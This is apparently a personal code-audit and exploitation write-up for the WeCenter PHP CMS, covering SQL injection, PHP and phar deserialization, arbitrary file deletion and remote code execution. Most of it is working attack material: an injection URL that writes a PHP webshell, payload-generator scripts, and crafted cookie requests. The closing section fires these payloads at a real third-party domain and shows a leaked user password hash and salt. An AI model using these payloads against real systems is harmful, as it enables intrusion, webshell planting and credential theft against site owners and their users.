This was a Yuque card, click the link to view
WeCenter Code Audit
A code audit of the older WeCenter 3.0.1 release,
plus pwning a certain~~wecenter~~machine along the way(learning the MVC architecture)
Overview
- The global anti-injection function has no flaws. However, if the database encoding is
gbk, you can pull off a wide-byte attack
It uses
mysql_real_escape_string; we need to call mysql_set_charset before executing SQL statements to set the current connection’s character set to gbk. Otherwise it still cannot defend against wide-character injection.
# /system/aws_model.inc.php->quote
/** /system/aws_model.inc.php#997 */
<?php
....
/**
* Add quotes to prevent database attacks
*
* Externally submitted data must be sanitized with this method
*
* @param string
* @return string
*/
public function ($string)
{
if (is_object($this->db()))
{
$_quote = $this->db()->quote($string);
if (substr($_quote, 0, 1) == "'")// strip the leading and trailing quotes
{
$_quote = substr(substr($_quote, 1), 0, -1);
}
return $_quote;
}
if (function_exists('mysql_escape_string'))
//This function was deprecated in PHP 4.3.0, deprecated
{
$string = @mysql_escape_string($string);
}
else
{
$string = addslashes($string);
}
return $string;
}
- The three-letter prefix
G_COOKIE_PREFIXin front of the cookie is actually a random salt auto-generated by the CMS; theoretically this value is bound to differ across different sites


Framework scan 1: graudit
Using this framework called [gaduit](https://github.com/wireghoul/graudit/) to statically scan the source code, excluding js and sql files
root@localhost:/opt/graudit#
./graudit -A -x *.js,*.sql ~/downloads/wecenter-3.0.1/

Following up on the vulnerability report analysis, the following issues were found
0x01 /app/topic/ajax.php #70 topic_id parameter SQL injection
public function question_list_action()
{
if ($_GET['feature_id'])
{
if ($topic_ids = $this->model('feature')->get_topics_by_feature_id($_GET['feature_id']))
{
$_GET['topic_id'] = implode(',', $topic_ids);
}
}
switch ($_GET['type'])
{
case 'best':
$action_list = $this->model('topic')->get_topic_best_answer_action_list($_GET['topic_id'], $this->user_id, intval($_GET['page']) * get_setting('contents_per_page') . ', ' . get_setting('contents_per_page'));
break;
The problem lies in $action_list = $this->model('topic')->get_topic_best_answer_action_list($_GET['topic_id'], $this->user_id, intval($_GET['page']) * get_setting('contents_per_page') . ', ' . get_setting('contents_per_page'));
$_GET['topic_id'] is passed directly into the get_topic_best_answer_action_list function; follow up on get_topic_best_answer_action_list
It turns out $topic_id only gets exploded and merged back together — effectively doing nothing, let alone filtering the sql statement
ref:Vulnerability title: WeCenter SQL injection (ROOT SHELL)
/?/topic/ajax/question_list/type-best&topic_id=1) union select '<?php phpinfo();?>' into outfile 'C:/shell.php'#
Framework scan 2: seay code audit system
0x02 /app/m/weixin.php #115 deserialization leading to SQL execution
Referring to the description in Naiquan’s article, here is an analysis of the whole process
Since the SQL statement execution happens inside the destructor __destruct(), and _shutdown_query is not modified by the static keyword. So it’s natural to think of using deserialization to reset the value of $this->_shutdown_query.
First, /app/m/weixin.php #115 contains a controllable deserialization point. ps: deserialization turns a string into an object. When an object is created, the constructor __construct is called automatically; when the object is destroyed (e.g. when the program finishes running), the destructor __destruct is called automatically

So let’s look for an exploitable destructor. In /system/aws_model.inc.php, the query function iterates over the _shutdown_query variable; follow up on the query function

The query function passes $sql into the database and executes it without any filtering

Because the _shutdown_query variable is not modified with the static modifier, the _shutdown_query variable can be controlled by us
So this directly leads to arbitrary sql code execution
The payload construction code is as follows
<?php
class AWS_MODEL{
private $_shutdown_query = array();
public function __construct(){
$this->_shutdown_query['test'] = 'SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)';
}
}
echo base64_encode(serialize(new AWS_MODEL));
?>
For actual exploitation, see this payload from Wooyun, error-based injection
/?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D
//response
Database error ------ SQL: SELECT updatexml(1,concat(0xa,user()),1) Error Message: Mysqli prepare error: XPATH syntax error: ' root@localhost'
WeCenter Vulnerability Reproduction
app=“WeCenter” && body=“WeCenter 3.3.4”
The following vulnerabilities all target the WeCenter 3.3.4 version
Configuration requirements
Disable**phar.readonly**
php --ri Phar
Check the phar settings; phar.readonly must be disabled — disable it in php.ini and restart apache

Arbitrary file deletion reproduction process
An arbitrary file deletion exists in the system/Zend/Http/Response/Stream.php:__destruct() method.

<?php
class Zend_Http_Response_Stream
{
protected $_cleanup;
protected $stream_name;
public function __construct($stream_name)
{
$this->_cleanup = true;
$this->stream_name = $stream_name;
}
}
$stream_name = '/var/www/html/wecenter334/shell.php';
$evilobj = new Zend_Http_Response_Stream($stream_name);
// phar.readonly cannot be set via this statement: init_set("phar.readonly",0);
$filename = 'poc.phar';// the suffix must be phar, otherwise the program will not run
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($evilobj);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
RCE reproduction process
- Register an account
Skipped.. - Generate the Phar file
//PoC
<?php
class AWS_MODEL{
private $_shutdown_query = array();
public function __construct(){
$this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
}
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
rename("2.phar","shell.gif");
?>
Upload the image payload
Upload the gif image generated above in the editor and note the returned url, as shown below
{"uploaded":1,"fileName":"shell.gif","url":"\/uploads\/question\/20200322\/5594439edbe52727eb65d0dff1d0a8c2.gi
Construct the malicious deserialization
Generate and set the WXConnect value in the COOKIE, replacing username and headimgurl with your own below
//generate cookie
<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'mnbv';//mnbv
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20200322/5594439edbe52727eb65d0dff1d0a8c2.gif';
echo json_encode($arr);
?>
First send the WeChat binding request
GET /?/m/weixin/binding/ HTTP/1.1
(add the Cookie: note that __WXConnect must be replaced with the actual value)
__WXConnect={"access_token":{"openid":"1"},"access_user":{"openid":1,"nickname":"mnbv","headimgurl":"phar:\/\/uploads\/question\/20200322\/5594439edbe52727eb65d0dff1d0a8c2.gif"}}

Once it says the binding succeeded, sync once more
GET /?/account/ajax/synch_img/ HTTP/1.1
(add the Cookie: note that __WXConnect must be replaced with the actual value)
__WXConnect={"access_token":{"openid":"1"},"access_user":{"openid":1,"nickname":"mnbv","headimgurl":"phar:\/\/uploads\/question\/20200322\/5594439edbe52727eb65d0dff1d0a8c2.gif"}}

Successful response
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sun, 22 Mar 2020 15:20:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/7.3.5
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 22 Mar 2020 15:20:21 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: vou__WXConnect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; HttpOnly
Content-Length: 2096
//WeChat binding succeeded
Failure 1 — different database structure (possibly a different wecenter version)
HTTP/1.1 500 Internal Server Error
Server: nginx/1.14.2
Date: Sun, 22 Mar 2020 15:20:23 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: PHP/7.3.5
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 22 Mar 2020 15:20:23 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 266
Database error
------
SQL: UPDATE `aws_system_setting` SET `value` = 's:45:"jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";' WHERE (`varname` = 'allowed_upload_types')
Error Message: Mysqli prepare error: Table 'wecenter.aws_system_setting' doesn't exist
Failure 2 — format mismatch
HTTP/1.1 200 OK
Server: nginx/1.16.1
Date: Sun, 22 Mar 2020 15:06:58 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.33
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 62
{"error":1,"msg":"\u6587\u4ef6\u7c7b\u578b\u4e0d\u7b26\u5408"}
Vulnerability fix
Just delete the action named synch_img under app/account/ajax.php — removing either the route or the function works
Postscript
phar deserialization
phar deserialization
With an affected function($v), if $v is controllable, passing in a file parsed via the phar pseudo-protocol completes the deserialization
List of affected functions:

regex
(fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|fileperms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile)\((.*?)\$(.*?)\)
<?php
class AWS_MODEL {
private $_shutdown_query;
function __construct()
{
$this->_shutdown_query = [
"UPDATE `aws_system_setting` SET `value` = 's:45:\"jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php\";' WHERE (`varname` = 'allowed_upload_types')"
];
}
}
$arr = [
'errcode' => 1,
new AWS_MODEL()
];
echo urlencode(base64_encode(serialize($arr)));
?>
# extension
UPDATE `aws_system_setting` SET `value` = 's:45:\"jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php\";' WHERE (`varname` = 'allowed_upload_types')
wen.sntcm.edu.cn//?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D
# payload
# "select 1 from(select count(*),concat((select concat(password,0x23,salt,0x23) from aws_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a#"
wen.sntcm.edu.cn//?/m/weixin/authorization/&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjE2Njoic2VsZWN0IDEgZnJvbShzZWxlY3QgY291bnQoKiksY29uY2F0KChzZWxlY3QgY29uY2F0KHBhc3N3b3JkLDB4MjMsc2FsdCwweDIzKSBmcm9tIGF3c191c2VycyBsaW1pdCAwLDEpLGZsb29yKHJhbmQoMCkqMikpeCBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgZ3JvdXAgYnkgeClhIyI7fX19
Database error ------ SQL: select 1 from(select count(*),concat((select concat(password,0x23,salt,0x23) from aws_users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a# Error Message: Mysqli statement execute error : Duplicate entry '2bc37032aa4801a8e95d42e9dd70a4da#mvsh#1' for key 'group_key'